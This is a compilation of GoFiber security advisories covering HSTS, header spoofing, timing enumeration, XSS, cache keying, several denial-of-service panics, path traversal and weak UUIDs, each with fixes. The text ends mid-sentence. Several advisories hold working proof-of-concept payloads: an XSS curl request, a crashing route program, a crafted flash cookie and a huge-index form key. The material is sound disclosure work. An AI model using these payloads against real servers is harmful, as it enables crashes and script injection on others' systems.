See how gofiber compares to other vendors in security performance
Summary
The helmet middleware in gofiber/fiber never sets the Strict-Transport-Security (HSTS) response header, even when HSTSMaxAge is explicitly configured, because the condition check at helmet.go:67 uses c.Protocol() — which returns the HTTP protocol version string (e.g., "HTTP/1.1", "HTTP/2.0") — instead of c.Scheme() — which returns the URL scheme ("http" or "https"). Since c.Protocol() never equals "https" in any real deployment, the HSTS header is permanently disabled, defeating the security protection.
Details
Root cause: middleware/helmet/helmet.go, line 67:
go if c.Protocol() == "https" && cfg.HSTSMaxAge != 0 {
c.Protocol() (defined at req.go:865-867) delegates to fasthttp.Request.Header.Protocol(), which returns the HTTP protocol version: - "HTTP/1.1" for HTTP/1.1 connections - "HTTP/2.0" for HTTP/2 connections
The correct method is c.Scheme() (defined at req.go:844-862), which returns: - "http" for plain HTTP connections - "https" for TLS connections
Since "HTTP/1.1" != "https" always evaluates to true, the entire HSTS block (lines 67-76) is dead code.
Note on test coverage: The existing helmet test (helmettest.go) passes because it uses ctx.Request.Header.SetProtocol("https") to artificially force Protocol() to return "https". However, fasthttp.Request.Header.SetProtocol() sets the HTTP version field, and real HTTP requests never have protocol "https" — they have "HTTP/1.1" or "HTTP/2.0". The test is validating the wrong thing.
PoC
Clean-checkout maintainer-runnable recipe:
1. Save the following as middleware/helmet/pochststest.go:
go package helmet
import ( "crypto/tls" "net/http/httptest" "testing"
"github.com/gofiber/fiber/v3" )
func TestPoCHSTSNeverSet(t testing.T) { app := fiber.New() app.Use(New(Config{ HSTSMaxAge: 31536000, })) app.Get("/", func(c fiber.Ctx) error { return c.SendString("ok") })
// Simulate HTTPS connection req := httptest.NewRequest(fiber.MethodGet, "/", nil) req.TLS = &tls.ConnectionState{}
resp, := app.Test(req) hsts := resp.Header.Get("Strict-Transport-Security")
if hsts == "" { t.Log("BUG CONFIRMED: HSTS header not set. c.Protocol() returns 'HTTP/1.1', not 'https'") t.Log("Fix: change c.Protocol() == 'https' to c.Scheme() == 'https' on line 67") } }
2. Run: go test -run TestPoCHSTSNeverSet -v ./middleware/helmet/
Expected vulnerable output: === RUN TestPoCHSTSNeverSet BUG CONFIRMED: HSTS header not set. c.Protocol() returns 'HTTP/1.1', not 'https' Fix: change c.Protocol() == 'https' to c.Scheme() == 'https' on line 67 --- PASS: TestPoCHSTSNeverSet
Expected output after fix: === RUN TestPoCHSTSNeverSet --- PASS: TestPoCHSTSNeverSet (HSTS header is set: "max-age=31536000; includeSubDomains")
Observed output from this environment (commit ee98695f): === RUN TestPoCHSTSNeverSet pochststest.go:39: HSTS header value: "" pochststest.go:42: BUG CONFIRMED: HSTS header is NOT set even over TLS pochststest.go:43: Root cause: helmet.go:67 uses c.Protocol() which returns HTTP version pochststest.go:44: c.Protocol() returns 'HTTP/1.1' not 'https' pochststest.go:45: Fix: use c.Scheme() == 'https' instead of c.Protocol() == 'https' --- PASS: TestPoCHSTSNeverSet
Negative/control case: With HSTSMaxAge: 0 (default), HSTS is correctly not set (this is expected behavior, not a bug).
Cleanup: Remove pochststest.go after verification.
Impact
The HSTS header is never applied in production, leaving all users vulnerable to: - SSL stripping attacks: An active network attacker can downgrade HTTPS connections to HTTP, intercepting traffic between the client and server. - Protocol downgrade: Without HSTS, browsers will silently accept HTTP connections to the site, even if the site supports HTTPS. - Cookie theft over HTTP: Session cookies without the Secure flag will be sent over HTTP if the user is tricked into an HTTP connection.
This affects any application that: 1. Uses the helmet middleware 2. Configures HSTSMaxAge > 0 expecting HSTS protection 3. Serves traffic over HTTPS
The vulnerability requires an active MITM attacker on the network path, which is realistic in public Wi-Fi, corporate networks, and ISP-level scenarios.
Suggested remediation
In middleware/helmet/helmet.go, line 67, replace c.Protocol() with c.Scheme():
go // Before (broken): if c.Protocol() == "https" && cfg.HSTSMaxAge != 0 {
// After (fixed): if c.Scheme() == "https" && cfg.HSTSMaxAge != 0 {
Additionally, update the existing test to use a realistic TLS simulation instead of SetProtocol("https"):
go // Before (artificial - sets HTTP version to "https" which never happens in practice): ctx.Request.Header.SetProtocol("https")
// After (realistic - simulates TLS connection): ctx.RequestCtx().Request.Header.SetProtocol("HTTP/1.1") ctx.RequestCtx().TLS = &tls.ConnectionState{}
Regression test: Add a test case that verifies HSTS is set when req.TLS is non-nil and HSTSMaxAge > 0, without using SetProtocol.
Summary
The BalancerForward proxy helper in GoFiber uses Header.Add() instead of Header.Set() when injecting the X-Real-IP header. This appends the real client IP as a second header value rather than replacing any attacker-supplied value. Upstream servers that read the first X-Real-IP header (nginx, Express, most HTTP servers) use the attacker's spoofed IP for logging, rate limiting, and access control.
Vulnerable Code
File: middleware/proxy/proxy.go, lines 270-285
go func BalancerForward(servers []string, clients ...fasthttp.Client) fiber.Handler { r := &roundrobin{ current: 0, pool: servers, } return func(c fiber.Ctx) error { server := r.get() if !strings.HasPrefix(server, "http") { server = "http://" + server } c.Request().Header.Add("X-Real-IP", c.IP()) // line 282: Add, not Set return Do(c, server+c.OriginalURL(), clients...) } }
Data Flow
1. Attacker sends request with X-Real-IP: 10.0.0.1 (spoofed internal IP) 2. BalancerForward handler executes at line 282 3. c.Request().Header.Add("X-Real-IP", c.IP()) APPENDS the real IP as a second header 4. Upstream server receives: X-Real-IP: 10.0.0.1 AND X-Real-IP: <real-attacker-ip> 5. Most HTTP servers (nginx, Node.js, Apache) read the FIRST value 6. Upstream uses 10.0.0.1 for all IP-dependent logic
Impact
- Rate limit bypass: IP-based rate limiting at the upstream uses the spoofed IP, allowing unlimited requests - IP ACL bypass: Internal IP allowlists (e.g., admin panels restricted to 10.0.0.0/8) can be bypassed - Audit log poisoning: Security logs record the spoofed IP, making incident investigation unreliable - Geolocation bypass: IP-based geofencing or region restrictions are circumvented
Fix
Replace Header.Add() with Header.Set() at line 282:
go c.Request().Header.Set("X-Real-IP", c.IP())
Header.Set() replaces any existing header value, ensuring only the real client IP is forwarded.
Summary
The default Authorizer function in GoFiber's BasicAuth middleware uses short-circuit evaluation that skips password hash comparison for non-existent usernames. With bcrypt-hashed passwords (the primary use case), the timing difference between a valid and invalid username is approximately 1,000,000:1 (~100ms vs ~100ns), enabling reliable remote username enumeration.
Vulnerable Code
File: middleware/basicauth/config.go, lines 126-138
go if cfg.Authorizer == nil { verifiers := make(map[string]func(string) bool, len(cfg.Users)) for u, hpw := range cfg.Users { v, err := parseHashedPassword(hpw) if err != nil { panic(err) } verifiers[u] = v } cfg.Authorizer = func(user, pass string, fiber.Ctx) bool { verify, ok := verifiers[user] return ok && verify(pass) // line 137: short-circuit skips verify() if user unknown } }
Data Flow
1. Attacker sends Authorization: Basic <base64(candidate:wrongpass)> 2. BasicAuth middleware decodes credentials and calls cfg.Authorizer(user, pass, c) 3. Map lookup verifiers[user] returns ok=false for non-existent users 4. Go && short-circuit: false && verify(pass) returns immediately without calling verify() 5. For valid users, verify(pass) executes bcrypt.CompareHashAndPassword() (line 167: ~100ms at default cost 10) 6. Timing difference: ~100ns (invalid user) vs ~100ms (valid user) = 1,000,000:1 ratio
Timing comparison by hash type:
| Hash Type | Valid User | Invalid User | Ratio | |-----------|-----------|--------------|-------| | bcrypt ($2) | ~100 ms | ~100 ns | 1,000,000:1 | | SHA-512 | ~1-5 us | ~100 ns | 10-50:1 | | SHA-256 | ~1-5 us | ~100 ns | 10-50:1 |
Impact
- Username enumeration: Attacker reliably determines which usernames exist by measuring response latency - Targeted brute force: After enumerating valid usernames, password brute force is focused only on real accounts - Account discovery: In applications where usernames are sensitive (internal tools, admin panels), leaking their existence is itself a security issue
Notes
- Password hash comparisons themselves are timing-safe: subtle.ConstantTimeCompare is used correctly for SHA-256 (line 185), SHA-512 (line 176), and bcrypt uses its own constant-time comparison - The fix is to always execute a dummy hash comparison for unknown users: bcrypt.CompareHashAndPassword(dummyHash, []byte(pass)) and discard the result - This pattern matches CVE-2023-36456 (Authentik timing oracle) and similar findings in other auth libraries
Summary
Description
A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects github.com/gofiber/fiber/v3 (DefaultRes.AutoFormat) through version 3.1.0 and github.com/gofiber/fiber/v2 (Ctx.Format) through version 2.52.12.
The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. JSON, XML, MsgPack, and CBOR all route through encoders that neutralize markup; the txt branch emits text/plain and cannot execute. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply."
Details The issue resides in res.go within (DefaultRes).AutoFormat(). The method negotiates against the request Accept header, selects one of html | json | txt | xml | msgpack | cbor, and serializes the caller-supplied body accordingly.
The "html" branch concatenates the stringified body directly into HTML markup with no output encoding: - accept comes from r.c.Accepts(...), i.e. is fully attacker-controlled. An attacker can force the "html" branch on any AutoFormat() call regardless of which format the developer tested against. - b is produced from body via direct assignment (string / []byte) or fmt.Sprintf("%v", body). No html.EscapeString is applied. - The resulting string is sent as text/html; charset=utf-8, so browsers render it as active HTML.
go // res.go func (r DefaultRes) AutoFormat(body any) error {
accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor")
r.Type(accept) var b string switch val := body.(type) { case string: b = val case []byte: b = r.c.app.toString(val) default: b = fmt.Sprintf("%v", val) }
switch accept { case "txt": return r.SendString(b) case "json": return r.JSON(body) case "xml": return r.XML(body) case "html": return r.SendString("<p>" + b + "</p>") case "msgpack": return r.MsgPack(body) case "cbor": return r.CBOR(body) } return r.SendString(b) } Impact
This impacts all current v3 releases ≤ 3.1.0 containing DefaultRes.AutoFormat, and all current v2 releases ≤ 2.52.12 where the identical "<p>" + b + "</p>" construction exists in (Ctx).Format(). Exploitation requires that an application call c.AutoFormat(v) where v (or a field stringified by %v) contains request-influenced data.
A handler that uses AutoFormat() to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends Accept: text/html, even if the developer only tested the JSON path.
This may result in: - Reflected XSS in the application's origin via any request-derived value reaching AutoFormat. - Stored XSS where the reflected value originates from persisted input later passed to AutoFormat.
Proposed Patch
The injection surface is r.Type("html") followed by r.SendString(b) with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options: - AutoFormat() should treat body as data, not markup, in the "html" branch and escape it before concatenating it into the framework-generated <p> wrapper. Callers that need raw negotiated HTML should use Format() with an explicit HTML handler. - Introduce a sibling method that escapes, leave AutoFormat alone for backward compatibility.
HTML-escape the value in the "html" branch before concatenating it into the <p> wrapper. go import "html"
// ... case "html": return r.SendString("<p>" + html.EscapeString(b) + "</p>")
html.EscapeString escapes <, >, &, ', ", which is sufficient for an element-text context. Apply the same change to v2's (Ctx).Format().
Proof of Concept
bash Create project directory mkdir fiber-xss-poc && cd fiber-xss-poc
Initialize Go module go mod init fiber-xss-poc
Install Fiber v3 go get github.com/gofiber/fiber/v3
Create the PoC file cat > main.go << 'EOF' package main
import ( "github.com/gofiber/fiber/v3" )
type User struct { ID int json:"id" Name string json:"name" }
func main() { app := fiber.New() app.Get("/api/user", func(c fiber.Ctx) error { user := User{ ID: 1, Name: c.Query("name", "anonymous"), } return c.AutoFormat(user) })
app.Listen(":3000") } EOF
Run it go run main.go }
Benign JSON bash curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json' {"id":1,"name":"Alice"}
HTML sink enables XSS bash curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html' <p>{1 <script>alert(document.domain)</script>}</p>
Summary Fiber cache middleware's default key generator uses only c.Path() and does not include the query string. As a result, requests like /?id=1 and /?id=2 can map to the same cache key and share the same cached response.
This can cause response mix-up (cache poisoning-like behavior) for endpoints where response content depends on query parameters.
Details Default configuration in cache middleware:
- KeyGenerator: func(c fiber.Ctx) string { return utils.CopyString(c.Path()) }
References: - https://github.com/gofiber/fiber/blob/main/middleware/cache/config.go#L90-L92 - https://github.com/gofiber/fiber/blob/main/middleware/cache/cachetest.go#L599-L621
The existing test demonstrates that when handler output depends on query parameter id, a second request with a different query still returns the first cached response (cache hit), confirming query is not part of the default cache key.
PoC Minimal PoC:
go package main
import ( "log"
"github.com/gofiber/fiber/v3" "github.com/gofiber/fiber/v3/middleware/cache" )
func main() { app := fiber.New() app.Use(cache.New()) // default config
app.Get("/", func(c fiber.Ctx) error { return c.SendString(c.Query("id", "1")) })
log.Fatal(app.Listen(":3000")) }
Reproduction:
1. GET /?id=1 - Cache miss - Response body: 1 2. GET /?id=2 - Cache hit - Response body: 1 (expected 2)
Local verification command used:
bash go test ./middleware/cache -run TestCacheWithNoCacheRequestDirective -count=1
Observed result: test passes, confirming this is current behavior.
Impact - Responses that should vary by query parameters can be mixed between requests. - In real deployments, this may leak or corrupt user/tenant-specific content if query parameters influence context or data selection. - This is deployment-dependent but security-relevant, and not safe-by-default for query-variant responses.
Suggested remediation - Change default cache key generation to include path + normalized query string (or canonicalized original URL). - Keep ability for custom key generators. - Add explicit documentation warning that path-only keying is unsafe for query-dependent responses.
A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.
Affected Versions
- Fiber v3.0.0-rc.3 and earlier v3 releases - Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable) - Both versions share the same vulnerable routing implementation
Vulnerability Details
Root Cause
Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:
go const maxParams = 30
type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... }
The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:
- v3: path.go:514 - v2: path.go:516
go // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i]
When paramsIterator >= 30, this triggers: panic: runtime error: index out of range [30] with length 30
Attack Scenario
1. Application registers route with >30 parameters (e.g., via code or dynamic routing): go app.Get("/api/:p1/:p2/:p3/.../p35", handler)
2. Attacker sends matching HTTP request: bash curl http://target/api/v1/v2/v3/.../v35
3. Server crashes during request processing with runtime panic
Proof of Concept
For Fiber v3
go package main
import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" )
func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } }
Output: Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]: github.com/gofiber/fiber/v3.(routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(App).next(...) /path/to/fiber/router.go:142
For Fiber v2
go package main
import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" )
func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } }
Output (v2): Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]: github.com/gofiber/fiber/v2.(routeParser).getMatch(...) /path/to/fiber/v2@v2.52.10/path.go:512 github.com/gofiber/fiber/v2.(Route).match(...) /path/to/fiber/v2@v2.52.10/router.go:84 github.com/gofiber/fiber/v2.(App).next(...) /path/to/fiber/v2@v2.52.10/router.go:127
Impact
Exploitation Requirements - No authentication required - Single HTTP request triggers crash - Trivially scriptable for sustained DoS - Works against any route with >30 parameters
Real-World Impact - Public APIs: Remote DoS attacks on vulnerable endpoints - Microservices: Cascade failures if vulnerable service is critical - Auto-scaling: Repeated crashes prevent proper recovery - Monitoring: Log flooding and alert fatigue
Likelihood HIGH - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request
Workarounds
Until patched, users should:
1. Audit Routes: Ensure all routes have ≤30 parameters bash # Search for potential issues grep -r "/:./:./:." . | grep -v nodemodules
2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count: go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") }
3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
4. Monitoring: Alert on panic patterns in application logs
Timeline
- 2024-12-24: Vulnerability discovered in v3 during PR #3962 review - 2024-12-25: Proof of concept confirmed exploitability in v3 - 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause) - 2024-12-25: Security advisory created
References
- v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) - Vulnerable Code Locations: - v3: path.go:514 - v2: path.go:516
Credit
Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev
Summary The use of the fiberflash cookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.
Details Regardless of configuration, the flash cookie is checked:
go func (app App) requestHandler(rctx fasthttp.RequestCtx) { // Acquire context from the pool ctx := app.AcquireCtx(rctx) defer app.ReleaseCtx(ctx)
// Optional: Check flash messages rawHeaders := d.Request().Header.RawHeaders() if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) { d.Redirect().parseAndClearFlashMessages() } , err = app.next(d) } else { // Check if the HTTP method is valid if ctx.getMethodInt() == -1 { = ctx.SendStatus(StatusNotImplemented) //nolint:errcheck // Always return nil return }
// Optional: Check flash messages rawHeaders := ctx.Request().Header.RawHeaders() if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) { ctx.Redirect().parseAndClearFlashMessages() } }
The cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:
https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371
go // parseAndClearFlashMessages is a method to get flash messages before they are getting removed func (r Redirect) parseAndClearFlashMessages() { // parse flash messages cookieValue, err := hex.DecodeString(r.c.Cookies(FlashCookieName)) if err != nil { return }
, err = r.c.flashMessages.UnmarshalMsg(cookieValue) if err != nil { return }
r.c.Cookie(&Cookie{ Name: FlashCookieName, Value: "", Path: "/", MaxAge: -1, }) }
The auto-generated tinylib/msgp deserialization reads a uint32 array header from the attacker-controlled byte stream and passes it directly to make() with no bounds check:
https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirectmsgp.go#L242
go // UnmarshalMsg implements msgp.Unmarshaler func (z redirectionMsgs) UnmarshalMsg(bts []byte) (o []byte, err error) { var zb0002 uint32 zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts) if err != nil { err = msgp.WrapError(err) return o, err } if cap((z)) >= int(zb0002) { (z) = (z)[:zb0002] } else { (z) = make(redirectionMsgs, zb0002) } for zb0001 := range z { bts, err = (z)[zb0001].UnmarshalMsg(bts) if err != nil { err = msgp.WrapError(err, zb0001) return o, err } } o = bts return o, err }
where zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts) translates the attacker-controlled value into the element count and make(redirectionMsgs, zb0002) performs the unbounded allocation
So we can craft a gofiber cookie that will force a huge allocation: curl -H "Cookie: fiberflash=dd7fffffff" http://localhost:5000/hello
The cookie val is a hex-encoded msgpack array32 header: - dd = msgpack array32 marker - 7fffffff = 2 147 483 647 elements
Impact Unauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.
Summary
Description A Path Traversal (CWE-22) vulnerability in Fiber allows a remote attacker to bypass the static middleware sanitizer and read arbitrary files on the server file system on Windows. This affects Fiber v3 through version 3.0.0. This has been patched in Fiber v3 version 3.1.0. Details The vulnerability resides in middleware/static/static.go within the sanitizePath function. This function attempts to sanitize the requested path by checking for backslashes, decoding the URL, and then cleaning the path.
The vulnerability stems from two combined issues: - The check for backslash characters happens before the URL decoding loop. If an attacker sends a double-encoded backslash, the initial check sees %255C and passes. The loop then decodes this into a single backslash. - The function uses path.Clean to clean the resulting string. path.Clean is designed for slash-separated paths and does not recognize backslashes as directory separators. Consequently, sequences like ..\..\ are treated as valid filenames.
When this sanitized path is later used, the backslashes are interpreted as valid separators, allowing the attacker to traverse up the directory tree. go // pkg/static/static.go func sanitizePath(p []byte, filesystem fs.FS) ([]byte, error) { ... // this check happens BEFORE decoding if bytes.IndexByte(p, '\\') >= 0 { ... } // This loop decodes %255C to %5C to \ for strings.IndexByte(s, '%') >= 0 { us, err := url.PathUnescape(s) ... s = us } // path.Clean only understands forward slashes (/) s = pathpkg.Clean("/" + s) ... return utils.UnsafeBytes(s), nil }
Impact
This impacts Fiber v3 prereleases through stable release version 3.0.0.
Successful exploitation requires the server to be using the static middleware on Windows, as this is the only OS where backslashes are treated as directory separators by the file system.
Exploitation allows directory traversal on the host server. An attacker can read arbitrary files within the scope of the application server context. Depending on permissions and deployment conditions, attackers may access sensitive files outside the web root, such as configuration files, source code, or system files. Leaking application secrets often leads to further compromise.
Patches
This has been patched in Fiber v3 version 3.0.1. Users are strongly encouraged to update to the latest available release.
Fiber is an Express inspired web framework written in Go. Before 2.52.11, on Go versions prior to 1.24, the underlying crypto/rand implementation can return an error if secure randomness cannot be obtained. Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on predictable, repeated, or low-entropy identifiers in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) default to using utils.UUIDv4(). This vulnerability is fixed in 2.52.11.
Summary
Critical security vulnerabilities exist in both the UUIDv4() and UUID() functions of the github.com/gofiber/utils package. When the system's cryptographic random number generator (crypto/rand) fails, both functions silently fall back to returning predictable UUID values, the zero UUID "00000000-0000-0000-0000-000000000000". This compromises the security of all Fiber applications using these functions for security-critical operations on Go versions prior to 1.24.
Both functions are vulnerable to the same root cause (crypto/rand failure):
UUIDv4(): Indirect vulnerability through uuid.NewRandom() → crypto/rand.Read() → fallback to UUID() UUID(): Direct vulnerability through crypto/rand.Read(uuidSeed[:]) → silent zero UUID return
Note: Go 1.24 and later panics on crypto/rand Read() failures, mitigating this vulnerability. Applications running on Go 1.24+ are not affected by the silent fallback behavior.
---
Vulnerability Details
Affected Functions
Package: github.com/gofiber/utils Functions: UUIDv4() and UUID() Return Type: string (both functions) Locations: common.go:93-99 (UUIDv4), common.go:60-89 (UUID)
Technical Description
The vulnerability occurs through two related but distinct failure paths, both ultimately caused by crypto/rand.Read() failures on Go < 1.24:
Primary Path: UUIDv4() Vulnerability
1. UUIDv4() calls google/uuid.NewRandom() which internally uses crypto/rand.Read() 2. If uuid.NewRandom() fails, UUIDv4() falls back to the internal UUID() function 3. No error is returned to the application - silent security failure occurs
Secondary Path: UUID() Vulnerability
1. UUID() directly calls crypto/rand.Read(uuidSeed[:]) to seed its internal state 2. If seeding fails, UUID() silently fails and returns the zero UUID "00000000-0000-0000-0000-000000000000" 3. Applications receive predictable UUIDs with no indication of the security failure
---
Code Analysis
UUIDv4() Vulnerability Path
go func UUIDv4() string { token, err := uuid.NewRandom() // Uses crypto/rand.Read() internally if err != nil { return UUID() // Dangerous fallback - no error returned to application } return token.String() }
UUID() Vulnerability Path
go func UUID() string { uuidSetup.Do(func() { if , err := rand.Read(uuidSeed[:]); err != nil { // Direct crypto/rand.Read() call return // Silent failure - no seeding, uuidCounter remains 0 } uuidCounter = binary.LittleEndian.Uint64(uuidSeed[:8]) }) if atomic.LoadUint64(&uuidCounter) <= 0 { return "00000000-0000-0000-0000-000000000000" // Zero UUID returned silently } // ... generate UUID from counter }
Root Cause: Both vulnerabilities stem from crypto/rand.Read() failures, occurring through different code paths with the same dangerous silent fallback behavior.
---
Security Impact
Severity: CRITICAL
This issue is especially severe because many Fiber middleware packages (session, CSRF, auth, rate-limit, request-ID, etc.) default to utils.UUIDv4() for generating security-sensitive identifiers. A failure in crypto/rand would cause every generated identifier across the entire application to collapse to a single predictable value (the zero UUID), resulting in:
Session fixation / universal session hijack CSRF token predictability and bypass Authentication token replay Global identifier collisions leading to severe application breakage Potential application-wide DoS due to every request using the same “unique” key, causing cache overwrites, session stomping, corrupted internal maps, and loss of isolation across all users
---
Attack Scenario
While entropy exhaustion is extremely rare on modern Linux systems, RNG access failures (e.g., restricted /dev/random or /dev/urandom access, broken container environments, sandbox restrictions, misconfigured VMs, or FIPS-mode RNG failures) are realistic. In these scenarios on Go < 1.24, crypto/rand may return errors immediately — triggering the vulnerable fallback paths.
On Go 1.24+, crypto/rand Read() panics on failure, mitigating the silent-zero fallback issue.
---
Proof of Concept
1. uuid.NewRandom() fails (indirect crypto/rand.Read() failure) 2. UUIDv4() calls UUID() as fallback with no error returned 3. UUID() seeding fails directly via crypto/rand.Read(uuidSeed[:]) 4. Zero UUID "00000000-0000-0000-0000-000000000000" is returned silently 5. No error is propagated to the application from either function
---
Affected Versions
All versions of github.com/gofiber/utils containing the UUIDv4() or UUID() functions Applications using Fiber middleware that depend on UUIDv4() or UUID for security Only applicable to Go < 1.24; Go 1.24+ panics/block on crypto/rand Read() failures and is not affected
---
Mitigation
Immediate Workaround
Replace usage of utils.UUIDv4() with uuid.New() or wait for fix:
go sessionID := uuid.New()
Recommended Fix
Modify utils.UUIDv4() and utils.UUID() to fail explicitly when cryptographic randomness is unavailable:
go func UUIDv4() string { token, err := uuid.NewRandom() if err != nil { panic(fmt.Sprintf("utils: failed to generate secure UUID: %v", err)) } return token.String() }
func UUID() string { uuidSetup.Do(func() { if , err := rand.Read(uuidSeed[:]); err != nil { panic(fmt.Sprintf("utils: failed to seed UUID generator: %v", err)) } uuidCounter = binary.LittleEndian.Uint64(uuidSeed[:8]) }) if atomic.LoadUint64(&uuidCounter) <= 0 { panic("utils: UUID generator not properly seeded") } // ... generate UUID from counter }
---
Detection
Applications can detect if they're affected by:
1. Checking if they use github.com/gofiber/utils 2. Searching for UUIDv4() and UUID() usage in security-critical code paths 3. Reviewing Fiber middleware configurations that rely on defaults of UUIDv4() for security identifiers
---
References
Package Repository: https://github.com/gofiber/utils Fiber Framework: https://github.com/gofiber/fiber Google UUID Library: https://github.com/google/uuid Golang crypto/rand behavior changes: golang/go#66821, Go 1.25.5 source
---
Contact
Reported by: @sixcolors
---
Classification
OWASP: A02:2021 - Cryptographic Failures Impact: Complete compromise of application security model on Go < 1.24 Exploitability: Medium (requires entropy failure) Scope: All Fiber applications using affected middleware on Go < 1.24
Description
When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.
The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range. If idx is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.
Steps to Reproduce
Create a POST request handler that accepts x-www-form-urlencoded data
go package main
import ( "fmt" "net/http"
"github.com/gofiber/fiber/v2" )
type RequestBody struct { NestedContent []struct{} form:"test" }
func main() { app := fiber.New()
app.Post("/", func(c fiber.Ctx) error { formData := RequestBody{} if err := c.BodyParser(&formData); err != nil { fmt.Println(err) return c.SendStatus(http.StatusUnprocessableEntity) } return nil })
fmt.Println(app.Listen(":3000")) }
Run the server and send a POST request with a large numeric key in form data, such as:
bash curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \ -H 'Content-Type: application/x-www-form-urlencoded'
Relevant Code Snippet
Within the decoder's decode method:
go idx := parts[0].index if v.IsNil() || v.Len() < idx+1 { value := reflect.MakeSlice(t, idx+1, idx+1) // <-- Panic/crash occurs here when idx is huge if v.Len() < idx+1 { reflect.Copy(value, v) } v.Set(value) }
The idx is not validated before use, leading to unsafe slice allocation for extremely large values.
---
Impact
- Application panic or crash on malicious or malformed input. - Potential denial of service (DoS) via memory exhaustion or server crash. - Lack of defensive checks in the parsing code causes instability.
Summary When using the fiber.Ctx.BodyParser to parse into a struct with range values, a panic occurs when trying to parse a negative range index
